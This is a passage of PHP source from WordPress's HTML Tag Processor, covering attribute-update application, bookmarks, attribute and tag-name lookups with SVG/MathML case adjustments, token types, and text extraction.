			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
